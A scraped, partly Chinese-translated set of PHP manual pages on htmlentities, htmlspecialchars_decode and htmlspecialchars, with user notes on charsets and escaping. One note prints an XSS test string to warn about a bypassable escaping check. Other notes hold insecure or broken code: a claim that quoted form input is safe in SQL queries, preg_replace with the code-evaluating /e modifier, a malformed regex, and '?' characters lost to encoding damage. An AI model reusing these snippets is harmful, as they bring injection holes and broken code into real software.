"So here's something fun: if you create an XML document in PHP and use htmlentities() to encode text data, then later want to read and parse the same document with PHP's xml_parse(), unless you include entity declarations into the generated document, the parser will stop on the unknown entities.

To account for this, I created a small function to take the translation table and turn it into XML <!ENTITY> definitions. I insert this output into the XML document immediately after the <?xml?> line and the parse errors magically vanish"
]
za at byza dot it 15-Apr-2008 09:15
Trouble when using files with different charset?

htmlentities and html_entity_decode can be used to translate between charset!

Sample function:

<?php
function utf2latin($text) {
   $text=htmlentities($text,ENT_COMPAT,'UTF-8');
   return html_entity_decode($text,ENT_COMPAT,'ISO-8859-1');
}
?>
marktpitman at gmail dot com 15-Oct-2007 07:21
I just thought I would add that if you're using the default charset, htmlentities will not correctly return the trademark ( ™ ) sign.

Instead it will return something like this: a?￠

If you need the trademark symbol, use:

<?php htmlentities( $html, ENT_QUOTES, "UTF-8" ); ?>
D. Gasser 24-Apr-2007 10:40
When using UTF-8 as charset, you'll have to set UTF-8 in braces, otherwise the varaible is not recognized.
q (dot) rendeiro (at) gmail (dot) com 07-Mar-2007 04:41
I've seen lots of functions to convert all the entities, but I needed to do a fulltext search in a db field that had named entities instead of numeric entities (edited by tinymce), so I searched the tinymce source and found a string with the value->entity mapping. So, i wrote the following function to encode the user's query with named entities.

The string I used is different of the original, because i didn't want to convert ' or ". The string is too long, so I had to cut it. To get the original check TinyMCE source and search for nbsp or other entity ;)

<?php

$entities_unmatched = explode(',', '160,nbsp,161,iexcl,162,cent, [...] ');
$even = 1;
foreach($entities_unmatched as $c) {
    if($even) {
        $ord = $c;
    } else {
        $entities_table[$ord] = $c;
    }
    $even = 1 - $even;
}

function encode_named_entities($str) {
    global $entities_table;

    $encoded_str = '';
    for($i = 0; $i < strlen($str); $i++) {
        $ent = @$entities_table[ord($str{$i})];
        if($ent) {
            $encoded_str .= "&$ent;";
        } else {
            $encoded_str .= $str{$i};
        }
    }
    return $encoded_str;
}

?>
realcj at g mail dt com 06-Nov-2006 10:41
If you are building a loadvars page for Flash and have problems with special chars such as " & ", " ' " etc, you should escape them for flash:

Try trace(escape("&")); in flash' actionscript to see the escape code for &;

% = %25
& = %26
' = %27

<?php
function flashentities($string){
return str_replace(array("&","'"),array("%26","%27"),$string);
}
?>

Those are the two that concerned me. YMMV.
daviscabral[arroba]gmail[ponto]com 28-Jul-2006 12:52
unhtmlentities for all entities:

<?php

function unhtmlentities ($string) {
   $trans_tbl1 = get_html_translation_table (HTML_ENTITIES);
   foreach ( $trans_tbl1 as $ascii => $htmlentitie ) {
        $trans_tbl2[$ascii] = '&#'.ord($ascii).';';
   }
   $trans_tbl1 = array_flip ($trans_tbl1);
   $trans_tbl2 = array_flip ($trans_tbl2);
   return strtr (strtr ($string, $trans_tbl1), $trans_tbl2);
}

?>
info at pirandot dot de 22-Jul-2006 07:14
The data returned by a text input field is ready to be used in a data base query when enclosed in single quotes, e.g.
<?php
   mysql_query ("SELECT * FROM Article WHERE id = '$data'");
?>
But you will get problems when writing back this data into the input field's value,
<?php
   echo "<input name='data' type='text' value='$data'>";
?>
because hmtl codes would be interpreted and escape sequences would cause strange output.

The following function may help:
<?php
function deescape ($s, $charset='UTF-8')
{
   //  don't interpret html codes and don't convert quotes
   $s  =  htmlentities ($s, ENT_NOQUOTES, $charset);

   //  delete the inserted backslashes except those for protecting single quotes
   $s  =  preg_replace ("/\\\\([^'])/e", '"&#" . ord("$1") . ";"', $s);

   //  delete the backslashes inserted for protecting single quotes
   $s  =  str_replace ("\\'", "&#" . ord ("'") . ";", $s);

   return  $s;
}
?>
Try some input like:  a'b"c\d\'e\"f\\g&x#27;h  to test ...
anonymous 26-Apr-2006 12:38
This function will encode anything that is non Standard ASCII (that is, that is above #127 in the ascii table)

<?php
// allhtmlentities : mainly based on "chars_encode()"  by Tim Burgan <timburgan@gmail.com> [http://www.php.net/htmlentities]
function allhtmlentities($string) {
    if ( strlen($string) == 0 )
        return $string;
    $result = '';
    $string = htmlentities($string, HTML_ENTITIES);
    $string = preg_split("//", $string, -1, PREG_SPLIT_NO_EMPTY);
    $ord = 0;
    for ( $i = 0; $i < count($string); $i++ ) {
        $ord = ord($string[$i]);
        if ( $ord > 127 ) {
            $string[$i] = '&#' . $ord . ';';
        }
    }
    return implode('',$string);
}
?>
edo at edwaa dot com 17-Nov-2005 08:48
A version of the xml entities function below. This one replaces the "prime" character (′) with which I had difficulties.

<?php
// XML Entity Mandatory Escape Characters
function xmlentities($string) {
   return str_replace ( array ( '&', '"', "'", '<', '>', '?' ), array ( '&amp;' , '&quot;', '&apos;' , '&lt;' , '&gt;', '&apos;' ), $string );
}
?>
info at bleed dot ws 14-Oct-2005 10:42
here the centralized version of htmlentities() for multibyte.

<?php
function mb_htmlentities($string)
{
    $string = htmlentities($string, ENT_COMPAT, mb_internal_encoding());
    return $string;
}

?>
jake_mcmahon at hotmail dot com 29-Apr-2004 02:29
This fuction is particularly useful against XSS (cross-site-scripting-). XSS makes use of holes in code, whether it be in Javascript or PHP. XSS often, if not always, uses HTML entities to do its evil deeds, so this function in co-operation with your scripts (particularly search or submitting scripts) is a very useful tool in combatting "H4X0rz".
wwb at 3dwargamer dot net 31-Mar-2004 04:49
htmlentites is a very handy function, but it fails to fix one thing which I deal with alot: word 'smart' quotes and emdashes.

The below function replaces the funky double quotes with &quot;, funky single quotes with standard single quotes and fixes emdashes.

<?php
    function CleanupSmartQuotes($text)
    {
        $badwordchars=array(
                            chr(145),
                            chr(146),
                            chr(147),
                            chr(148),
                            chr(151)
                            );
        $fixedwordchars=array(
                            "'",
                            "'",
                            '&quot;',
                            '&quot;',
                            '&mdash;'
                            );
        return str_replace($badwordchars,$fixedwordchars,$text);
    }
?>
Bassie (: 05-Jan-2003 04:07
Note that you'll have use htmlentities() before any other function who'll edit text like nl2br().

If you use nl2br() first, the htmlentities() function will change < br > to &lt;br&gt;.


将特殊的 HTML 实体转换回普通字符

  • ? htmlentities
  • htmlspecialchars ?
  • PHP Manual
  • 字符串 函数
  • 将特殊的 HTML 实体转换回普通字符

htmlspecialchars_decode

(PHP 5 >= 5.1.0, PHP 7)

htmlspecialchars_decode — 将特殊的 HTML 实体转换回普通字符

说明

htmlspecialchars_decode ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 ] ) : string

此函数的作用和 htmlspecialchars() 刚好相反。它将特殊的HTML实体转换回普通字符。

被转换的实体有： &amp;， &quot; （没有设置ENT_NOQUOTES 时）, &#039; （设置了 ENT_QUOTES 时）， &lt; 以及&gt;。

参数

string

要解码的字符串

flags

用下列标记中的一个或多个作为一个位掩码，来指定如何处理引号和使用哪种文档类型。默认为 ENT_COMPAT | ENT_HTML401。

有效的 flags 常量
常量名 | 说明
ENT_COMPAT | 转换双引号，不转换单引号。
ENT_QUOTES | 单引号和双引号都转换。
ENT_NOQUOTES | 单引号和双引号都不转换。
ENT_HTML401 | 作为HTML 4.01编码处理。
ENT_XML1 | 作为XML 1编码处理。
ENT_XHTML | 作为XHTML编码处理。
ENT_HTML5 | 作为HTML 5编码处理。

返回值

返回解码后的字符串。

更新日志

版本 | 说明
5.4.0 | 增加了 ENT_HTML401、ENT_XML1、 ENT_XHTML 和 ENT_HTML5 等常量。

范例

Example #1 一个 htmlspecialchars_decode() 的例子

<?php
$str = "<p>this -&gt; &quot;</p>\n";

echo htmlspecialchars_decode($str);

// 注意，这里的引号不会被转换
echo htmlspecialchars_decode($str, ENT_NOQUOTES);
?>

以上例程会输出：

<p>this -> "</p>
<p>this -> &quot;</p>

参见

  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • html_entity_decode() - Convert HTML entities to their corresponding characters
  • get_html_translation_table() - 返回使用 htmlspecialchars 和 htmlentities 后的转换表

User Contributed Notes

pinkgothic at gmail dot com 10-Jun-2010 09:24
Keep in mind that you should never trust user input - particularly for "mixed-bag" input containing a combination of plain text and markup or scripting code.

Why?

Well, consider someone sending '&amp;<script>alert('XSS');</script>' to your PHP script:

<?php
$var = "&amp;<script>alert('XSS');</script>";
$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var;
?>

Since '&amp;' decodes into '&', (htmlspecialchars_decode($var) == $var) will be -false-, thus returning $var without that it's escaped. In consequence, the script-tags are untouched, and you've just opened yourself to XSS.

There is, unfortunately, no reliable way to determine whether HTML is escaped or not that does not come with this caveat that I know of. Rather than try and catch the case 'I've already encoded this', you are better off avoiding double-escaping by simply escaping the HTML as close to the actual output as you can muster, e.g. in the view in an MVC development structure.
benharold at mac dot com 26-Jan-2009 04:48
or of course:

<?php

$var = "Blue & yellow make green.";

$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var; // outputs Blue &amp; yellow make green.

// you can do it a bunch of times, it still won't screw you!

$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var; // still outputs Blue &amp; yellow make green.

?>

Put it in a function. Add it to the method of some abstract data class.
benharold at mac dot com 26-Jan-2009 01:30
If you use `htmlspecialchars()` to change things like the ampersand (&) into it's HTML equivalent (&amp;), you might run into a situation where you mistakenly pass the same string to the function twice, resulting in things appearing on your website like, as I call it, the ampersanded amp; "&amp;". Clearly nobody want's "&amp;" on his or her web page where there is supposed to be just an ampersand. Here's a quick and easy trick to make sure this doesn't happen:

<?php

$var = "This is a string that could be passed to htmlspecialchars multiple times.";

if (htmlspecialchars_decode($var) == $var) {
    $var = htmlspecialchars($var);
}

echo $var;

?>

Now, if your dealing with text that is a mixed bag (has HTML entities and non-HTML entities) you're on your own.
thomas at xci[ignore_this]teit dot commm 28-Mar-2008 03:03
The example for "htmlspecialchars_decode()" below sadly does not work for all PHP4 versions.

Quote from the PHP manual:
"get_html_translation_table() will return the translation table that is used internally for htmlspecialchars() and htmlentities()."

But it does NOT! At least not for PHP version 4.4.2.
This was already reported in a bug report (http://bugs.php.net/bug.php?id=25927), but it was marked as BOGUS.

Proof:
  Code:
--------------------
<?php
    var_dump(get_html_translation_table(HTML_SPECIALCHARS,ENT_QUOTES));
    var_dump(htmlspecialchars('\'',ENT_QUOTES));
?>
--------------------

  Output:
--------------------
array
  '"' => '&quot;'
  ''' => '&#39;'
  '<' => '&lt;'
  '>' => '&gt;'
  '&' => '&amp;'

'&#039;'
--------------------

This comment now is not to report this bug again (though I really believe it is one), but to complete the example and warn people of this pitfall.

To make sure your htmlspecialchars_decode fake for PHP4 works, you should do something like this:

<?php
    function htmlspecialchars_decode($string,$style=ENT_COMPAT)
    {
        $translation = array_flip(get_html_translation_table(HTML_SPECIALCHARS,$style));
        if($style === ENT_QUOTES){ $translation['&#039;'] = '\''; }
        return strtr($string,$translation);
    }
?>

Br, Thomas
17-Aug-2006 05:49
This should be the best way to do it.
(Reposted because the other one seems a bit slower and because those who used the code under called it htmlspecialchars_decode_php4)

<?php

if ( !function_exists('htmlspecialchars_decode') )
{
    function htmlspecialchars_decode($text)
    {
        return strtr($text, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
    }
}

?>
or-k at or-k dot com 14-Sep-2005 02:15
that works also with &auml; and &quot; and so on.
get_html_translation_table(HTML_ENTITIES) => offers more characters than HTML_SPECIALCHARS

function htmlspecialchars_decode_PHP4($uSTR)
{
 return strtr($uSTR, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));
}
geoffers@gmail 14-Jul-2005 06:38
[Update of previous note, having noticed I forgot to put in quote style]

PHP4 Compatible function:

<?php

function htmlspecialchars_decode_php4 ($str, $quote_style = ENT_COMPAT) {
    return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style)));
}

?>
geoffers at gmail dot com 14-Jul-2005 06:30
For PHP4 Compatibility:

<?php

function htmlspecialchars_decode_php4 ($str) {
    return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
}

?>


将特殊字符转换为 HTML 实体

  • ? htmlspecialchars_decode
  • implode ?
  • PHP Manual
  • 字符串 函数
  • 将特殊字符转换为 HTML 实体

htmlspecialchars

(PHP 4, PHP 5, PHP 7)

htmlspecialchars — 将特殊字符转换为 HTML 实体

说明

htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = TRUE ]]] ) : string

某类字符在 HTML 中有特殊用处，如需保持原意，需要用 HTML 实体来表达。 本函数会返回字符转义后的表达。 如需转换子字符串中所有关联的名称实体，使用 htmlentities() 代替本函数。

如果传入字符的字符编码和最终的文档是一致的，则用函数处理的输入适合绝大多数 HTML 文档环境。 然而，如果输入的字符编码和最终包含字符的文档是不一样的， 想要保留字符（以数字或名称实体的形式），本函数以及 htmlentities() （仅编码名称实体对应的子字符串）可能不够用。 这种情况可以使用 mb_encode_numericentity() 代替。

执行转换
字符 | 替换后
& (& 符号) | &amp;
" (双引号) | &quot;，除非设置了 ENT_NOQUOTES
' (单引号) | 设置了 ENT_QUOTES 后， &#039; (如果是 ENT_HTML401) ，或者 &apos; (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)。
< (小于) | &lt;
> (大于) | &gt;

参数

string

待转换的 string。

flags

位掩码，由以下某个或多个标记组成，设置转义处理细节、无效单元序列、文档类型。 默认是 ENT_COMPAT | ENT_HTML401。

有效的 flags 常量
常量名称 | 描述
ENT_COMPAT | 会转换双引号，不转换单引号。
ENT_QUOTES | 既转换双引号也转换单引号。
ENT_NOQUOTES | 单/双引号都不转换
ENT_IGNORE | 静默丢弃无效的代码单元序列，而不是返回空字符串。 不建议使用此标记， 因为它» 可能有安全影响。
ENT_SUBSTITUTE | 替换无效的代码单元序列为 Unicode 代替符（Replacement Character）， U+FFFD (UTF-8) 或者 &#xFFFD; (其他)，而不是返回空字符串。
ENT_DISALLOWED | 为文档的无效代码点替换为 Unicode 代替符（Replacement Character）： U+FFFD (UTF-8)，或 &#xFFFD;（其他），而不是把它们留在原处。 比如以下情况下就很有用：要保证 XML 文档嵌入额外内容时格式合法。
ENT_HTML401 | 以 HTML 4.01 处理代码。
ENT_XML1 | 以 XML 1 处理代码。
ENT_XHTML | 以 XHTML 处理代码。
ENT_HTML5 | 以 HTML 5 处理代码。

encoding

An optional argument defining the encoding used when converting characters.

If omitted, the default value of the encoding varies depending on the PHP version in use. In PHP 5.6 and later, the default_charset configuration option is used as the default value. PHP 5.4 and 5.5 will use UTF-8 as the default. Earlier versions of PHP use ISO-8859-1.

Although this argument is technically optional, you are highly encouraged to specify the correct value for your code if you are using PHP 5.5 or earlier, or if your default_charset configuration option may be set incorrectly for the given input.

本函数使用效果上，如果 string 对以下字符编码是有效的， ISO-8859-1、 ISO-8859-15、 UTF-8、 cp866、 cp1251、 cp1252、 KOI8-R 将具有相同的效果。 也就是说，在这些编码里， 受 htmlspecialchars() 影响的字符会占据相同的位置。

支持以下字符集：

支持的字符集列表
字符集 | 别名 | 描述
ISO-8859-1 | ISO8859-1 | 西欧，Latin-1
ISO-8859-5 | ISO8859-5 | Little used cyrillic charset (Latin/Cyrillic).
ISO-8859-15 | ISO8859-15 | 西欧，Latin-9。增加欧元符号，法语和芬兰语字母在 Latin-1(ISO-8859-1) 中缺失。
UTF-8 | ASCII 兼容的多字节 8 位 Unicode。
cp866 | ibm866, 866 | DOS 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1251 | Windows-1251, win-1251, 1251 | Windows 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1252 | Windows-1252, 1252 | Windows 特有的西欧编码。
KOI8-R | koi8-ru, koi8r | 俄语。本字符集在 4.3.2 版本中得到支持。
BIG5 | 950 | 繁体中文，主要用于中国台湾省。
GB2312 | 936 | 简体中文，中国国家标准字符集。
BIG5-HKSCS | 繁体中文，附带香港扩展的 Big5 字符集。
Shift_JIS | SJIS, 932 | 日语
EUC-JP | EUCJP | 日语
MacRoman | Mac OS 使用的字符串。
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: 其他字符集没有认可。将会使用默认编码并抛出异常。

double_encode

关闭 double_encode 时，PHP 不会转换现有的 HTML 实体， 默认是全部转换。

返回值

转换后的 string。

如果指定的编码 encoding 里， string 包含了无效的代码单元序列， 没有设置 ENT_IGNORE 或者 ENT_SUBSTITUTE 标记的情况下，会返回空字符串。

更新日志

版本 | 说明
5.6.0 | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
5.4.0 | encoding 参数的默认值改成 UTF-8。
5.4.0 | 增加常量 ENT_SUBSTITUTE、 ENT_DISALLOWED、 ENT_HTML401、 ENT_XML1、 ENT_XHTML、 ENT_HTML5。
5.3.0 | 增加常量 ENT_IGNORE。
5.2.3 | 增加参数 double_encode。

范例

Example #1 htmlspecialchars() 例子

<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

注释

Note:

注意，本函数不会转换以上列表以外的实体。 完整转换请参见 htmlentities()。

Note:

如果 flags 的设置模糊易混淆，将遵循以下规则：

  • 当 ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES 都没设置， 默认就是 ENT_COMPAT。
  • 如果设置不止一个 ENT_COMPAT、 ENT_QUOTES、 ENT_NOQUOTES ，优先级最高的是 ENT_QUOTES， 其次是 ENT_COMPAT。
  • 当 ENT_HTML401、 ENT_HTML5、 ENT_XHTML、 ENT_XML1 都没设置，默认是 ENT_HTML401。
  • 如果设置不止一个 ENT_HTML401、 ENT_HTML5、 ENT_XHTML、 ENT_XML1， 优先级最高的是 ENT_HTML5 其次是 ENT_XHTML 和 ENT_HTML401。
  • 如果设置不止一个 ENT_DISALLOWED、 ENT_IGNORE、 ENT_SUBSTITUTE，优先级最高的是 ENT_IGNORE， 其次是 ENT_SUBSTITUTE。

参见

  • get_html_translation_table() - 返回使用 htmlspecialchars 和 htmlentities 后的转换表
  • htmlspecialchars_decode() - 将特殊的 HTML 实体转换回普通字符
  • strip_tags() - 从字符串中去除 HTML 和 PHP 标记
  • htmlentities() - 将字符转换为 HTML 转义字符
  • nl2br() - 在字符串所有新行之前插入 HTML 换行标记

User Contributed Notes

qshing1437 at hotmail dot com 22-Jul-2019 05:11
If you use htmlspecialchars() to escape any HTML attribute, make sure use double quote instead of single quote for the attribute.

For Example,

> Wrap with Single Quote
<?php
echo "<p title='"  . htmlspecialchars("Hello\"s\'world") . "'">

// title will end up Hello"s\ and rest of the text after single quote will be cut off.
?>

> Wrap with Double quote :
<?php
echo '<p title="'  . htmlspecialchars("Hello\"s\'world") . '"'>

// title will show up correctly as Hello"s'world
?>
chris at ocproducts dot com 10-Apr-2017 01:09
This function throws a warning on bad input even if ENT_SUBSTITUTE is set, so be prepared for this.
cj3 at clifjackson dot net 22-Feb-2017 10:15
A nuanced quirk of this family of functions:
My understanding is that anything that is not in the translation table is considered invalid.
Consider this scenario:

<?php

$a = ' ';  // a UTF-8 non-breaking space (on Mac OS X press option + space bar, or \xc2\xa0 or \u00A0 )
$localeString = 'cs_CZ';
$oldLocale = setlocale(LC_ALL, '0');
$setLocale = setlocale(LC_ALL, $localeString);
$localeInfo = localeconv();
print_r($localeInfo);

Array
(
    [decimal_point] => ,
    [thousands_sep] => ?
    [int_curr_symbol] => CZK
    [currency_symbol] => K?
    [mon_decimal_point] => ,
    [mon_thousands_sep] => ?
    [positive_sign] =>
    [negative_sign] => -
    [int_frac_digits] => 2
    [frac_digits] => 2
    [p_cs_precedes] => 0
    [p_sep_by_space] => 1
    [n_cs_precedes] => 0
    [n_sep_by_space] => 1
    [p_sign_posn] => 1
    [n_sign_posn] => 1
    [grouping] => Array
        (
            [0] => 3
            [1] => 3
        )

    [mon_grouping] => Array
        (
            [0] => 3
            [1] => 3
        )
)
?>

We're concerned with all of the '?' in the above array. This is actually the UTF-8 non-breaking space that gets blitzed when you pass it through these functions. You get an empty string back indicating an invalid code point.

I think it's odd that this is not converted in to the HTML entity equivalent &nbsp;.

So I had to do it manually with:

<?php
$newString = preg_replace('/[\xc2\xa0]+', '&nbsp;', $input);
?>
PoV 17-May-2015 11:59
Be aware of the encoding of your source files!!!

Some of the suggestions here make reference to workarounds where you hard-code an encoding.

<?php
  echo htmlspecialchars('<b>W?rmann</b>');  // Why isn't this working?
?>

As it turns out, it may actually be your text editor that is to blame.

As of PHP 5.4, htmlspecialchars now defaults to the UTF-8 encoding. That said, many text editors default to non-UTF encodings like ISO-8859-1 (i.e. Latin-1) or WIN-1252. If you change the encoding of the file to UTF-8, the code above will now work (i.e. the ? is encoded differently in UTF-8 and ISO-8859-1, and you need the UTF-8 version).

Make sure you are editing in UTF-8 Unicode mode! Check your UI or manual for how to convert files to Unicode. It's also a good idea to figure out where to look in your UI to see what the current file encoding is.
Albert 16-Apr-2015 02:30
The code I posted this morning (for giving back to htmlspecialchars etc. the old default ISO encoding) had some strange problem, didn't work if a page was reloaded! Here the code I came up with, without this problem:

<?php
if (version_compare(phpversion(), "5.3.3", ">")) {
    runkit_function_copy('htmlspecialchars', 'htmlspecialchars_new');
    runkit_function_redefine(
        'htmlspecialchars',
        '$string, $flags, $encoding',
        'return $encoding == "" ? htmlspecialchars_new($string, ENT_COMPAT | ENT_HTML401, "ISO-8859-1") : htmlspecialchars_new($string, $flags, $encoding);'
    );

    runkit_function_copy('htmlentities', 'htmlentities_new');
    runkit_function_redefine(
        'htmlentities',
        '$string, $flags, $encoding',
        'return $encoding == "" ? htmlentities_new($string, ENT_COMPAT | ENT_HTML401, "ISO-8859-1") : htmlentities_new($string, $flags, $encoding);'
    );

    runkit_function_copy('html_entity_decode', 'html_entity_decode_new');
    runkit_function_redefine(
        'html_entity_decode',
        '$string, $flags, $encoding',
        'return $encoding == "" ? html_entity_decode_new($string, ENT_COMPAT | ENT_HTML401, "ISO-8859-1") : html_entity_decode_new($string, $flags, $encoding);'
    );
}
?>

So first I copy the original function, then I redefine the same.
Albert 16-Apr-2015 10:21
I found a simple solution for the changed default character encoding in htmlspecialchars, htmlentities and html_entity_decode, so my (very) old code kept running:

<?php
if (version_compare(phpversion(), "5.3.3", ">")) {
    runkit_function_rename('htmlspecialchars', 'htmlspecialchars_new');
    runkit_function_add(
        'htmlspecialchars',
        '$string, $flags, $encoding',
        'return $encoding == "" ? htmlspecialchars_new($string, ENT_COMPAT | ENT_HTML401, "ISO-8859-1") : htmlspecialchars_new($string, $flags, $encoding);'
    );

    runkit_function_rename('htmlentities', 'htmlentities_new');
    runkit_function_add(
        'htmlentities',
        '$string, $flags, $encoding',
        'return $encoding == "" ? htmlentities_new($string, ENT_COMPAT | ENT_HTML401, "ISO-8859-1") : htmlentities_new($string, $flags, $encoding);'
    );

    runkit_function_rename('html_entity_decode', 'html_entity_decode_new');
    runkit_function_add(
        'html_entity_decode',
        '$string, $flags, $encoding',
        'return $encoding == "" ? html_entity_decode_new($string, ENT_COMPAT | ENT_HTML401, "ISO-8859-1") : html_entity_decode_new($string, $flags, $encoding);'
    );
}
?>
sascham78 at php dot net 01-Oct-2014 08:57
If you are using UTF-8 encoding with htmlspecialchars() you may experience blank values with certain language-specific characters i.e. spanish or portuguese "a?á".
So instead of using
<?php
$utf8encoded= htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
?>
try
<?php
$utf8encoded= utf8_encode(htmlspecialchars($string, ENT_QUOTES));
?>
glapa.wojciech.com 29-Jan-2014 04:32
To show result in comment it should be:

<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo htmlspecialchars($new); // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

...
Felix D. 09-Jan-2014 11:00
Another thing important to mention is that
htmlspecialchars(NULL)
returnes an empty string and not NULL!
support at playnext dot ru 03-Oct-2013 08:31
For those having problems after the change of default value of $encoding argument to UTF-8 since PHP 5.4.

If your old non-UTF8 projects ruined - pls consider:
1. http://php.net/manual/en/function.override-function.php
2. http://php.net/manual/ru/function.runkit-function-redefine.php

The idea - you override the built-in htmlspecialchars() function with your customized variant which is able to respect non UTF-8 default encoding. This small piece of code can be then easily inserted somewhere at the start of yout project. No need to rewrite all htmlspecialchars() entries globally.

I've spent several hours with both approaches. Variant 1 looks good especaially in combination with http://www.php.net/manual/en/function.rename-function.php as it allows to call original htmlspecialchars() with just altered default args. The code could be as follows:

<?php
rename_function('htmlspecialchars', 'renamed_htmlspecialchars');
function overriden_htmlspecialchars($string, $flags=NULL, $encoding='cp1251', $double_encode=true) {
    $flags = $flags ? $flags : (ENT_COMPAT|ENT_HTML401);
    return renamed_htmlspecialchars($string, $flags, $encoding, $double_encode);
}
override_function('htmlspecialchars', '$string, $flags, $encoding, $double_encode', 'return overriden_htmlspecialchars($string, $flags, $encoding, $double_encode);');
?>

Unfortunatelly this didn't work for me properly - my site managed to call overriden function but not every time I reloaded the pages. Moreover other PHP sites crashed under my Apache server as they suddenly started blaming htmlspecialchars() was not defined. I suppose I had to spend more time to make it work thread/request/site/whatever-safe.

So I switched to runkit (variant 2). It worked for me, although even after trying runkit_function_rename()+runkit_function_add() I didn't managed to recall original htmlspecialchars() function. So as a quick solution I decided to call htmlentities() instead:

<?php
function overriden_htmlspecialchars($string, $flags=NULL, $encoding='UTF-8', $double_encode=true) {
    $flags = $flags ? $flags : (ENT_COMPAT|ENT_HTML401);
    $encoding = $encoding ? $encoding : 'cp1251';
    return htmlentities($string, $flags, $encoding, $double_encode);
}
runkit_function_redefine('htmlspecialchars', '$string, $flags, $encoding, $double_encode', 'return overriden_htmlspecialchars($string, $flags, $encoding, $double_encode);');
?>

You may be able to implement your more powerfull overriden function.
Good luck!
Dave 20-Jun-2013 11:59
As of PHP 5.4 they changed default encoding from "ISO-8859-1" to "UTF-8". So if you get null from htmlspecialchars or htmlentities

where you have only set
<?php
echo htmlspecialchars($string);
echo htmlentities($string);
?>

you can fix it by
<?php
echo htmlspecialchars($string, ENT_COMPAT,'ISO-8859-1', true);
echo htmlentities($string, ENT_COMPAT,'ISO-8859-1', true);
?>

On linux you can find the scripts you need to fix by

grep -Rl "htmlspecialchars\\|htmlentities" /path/to/php/scripts/
minder at ufive dot unibe dot ch 19-May-2013 01:06
Problem

In many PHP legacy products the function htmlspecialchars($string) is used to convert characters like < and > and quotes a.s.o to HTML-entities. That avoids the interpretation of HTML Tags and asymmetric quote situations.

Since PHP 5.4 for $string in htmlspecialchars($string) utf8 characters are expected if no charset is defined explicitly as third parameter in the function. Legacy products are mostly in Latin1 (alias iso-8859-1) what makes the functions htmlspecialchars(), htmlentites() and html_entity_decode() to return empty strings if a special character, e. g. a German Umlaut, is present in $string:

PHP<5.4

echo htmlspecialchars('<b>Woermann</b>') //Output: &lt;b&gt;Woermann&lt;b&gt;
echo htmlspecialchars('W?rmann') //Output: &lt;b&gt;W?rmann&lt;b&gt;

PHP=5.4

echo htmlspecialchars('<b>Woermann</b>') //Output: &lt;b&gt;Woermann&lt;b&gt;
echo htmlspecialchars('<b>W?rmann</b>') //Output: empty

Three alternative solutions

a) Not runnig legacy products on PHP 5.4
b) Change all find spots in your code from
htmlspecialchars($string) and *** to
htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, 'ISO-8859-1')
c) Replace all htmlspecialchars() and *** with a new self-made function

*** The same is true for htmlentities() and html_entity_decode();

Solution c

1 Make Search and Replace in the concerned legacy project:
Search for:        htmlspecialchars
Replace with:   htmlXspecialchars
Search for:        htmlentities
Replace with:   htmlXentities
Search for:        html_entity_decode
Replace with:   htmlX_entity_decode
2a Copy and paste the following three functions into an existing already everywhere included PHP-file in your legacy project. (of course that PHP-file must be included only once per request, otherwise you will get a Redeclare Function Fatal Error).

function htmlXspecialchars($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return htmlspecialchars($string, $ent, $charset);
}

function htmlXentities($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return htmlentities($string, $ent, $charset);
}

function htmlX_entity_decode($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return html_entity_decode($string, $ent, $charset);
}

or 2b crate a new PHP-file containing the three functions mentioned above, let's say, z. B. htmlXfunctions.inc.php and include it on the first line of every PHP-file in your legacy product like this: require_once('htmlXfunctions.inc.php').
Mike Robinson 14-Mar-2013 12:46
Unfortunately, as far as I can tell, the PHP devs did not provide ANY way to set the default encoding used by htmlspecialchars() or htmlentities(), even though they changed the default encoding in PHP 5.4 (*golf clap for PHP devs*). To save someone the time of trying it, this does not work:

<?php
ini_set('default_charset', $charset); // doesn't work.
?>

Unfortunately, the only way to not have to explicitly provide the second and third parameter every single time this function is called (which gets extremely tedious) is to write your own function as a wrapper:

<?php
define('CHARSET', 'ISO-8859-1');
define('REPLACE_FLAGS', ENT_COMPAT | ENT_XHTML);

function html($string) {
    return htmlspecialchars($string, REPLACE_FLAGS, CHARSET);
}

echo html("?"); // works
?>

You can do the same for htmlentities()
strange dot alex at gmail dot com 07-Mar-2013 05:24
> For the purposes of this function, the encodings ISO-8859-1, ISO-8859-15, UTF-8, cp866, cp1251, cp1252, and KOI8-R are effectively equivalent, provided the string itself is valid for the encoding, as the characters affected by htmlspecialchars() occupy the same positions in all of these encodings.

This is not true, actually!
$txt = "Russian text in KOI8-r<br>"; // type here realy russian text in koi8-r !

htmlspecialchars($txt,null,'KOI8-R') = Russian text in KOI8-r<br>
htmlspecialchars($txt,null,'UTF-8') =
 Result is EMPTY !!!
odegroot+php at gmail dot com 18-Jun-2012 09:57
This function can be used to escape single quotes only, and not double quotes, by calling it as follows.

<?php $escaped_string = htmlspecialchars($string, ENT_QUOTES & ~ENT_COMPAT, $encoding); ?>

This works because single/double quote escaping actually each have their own flag.

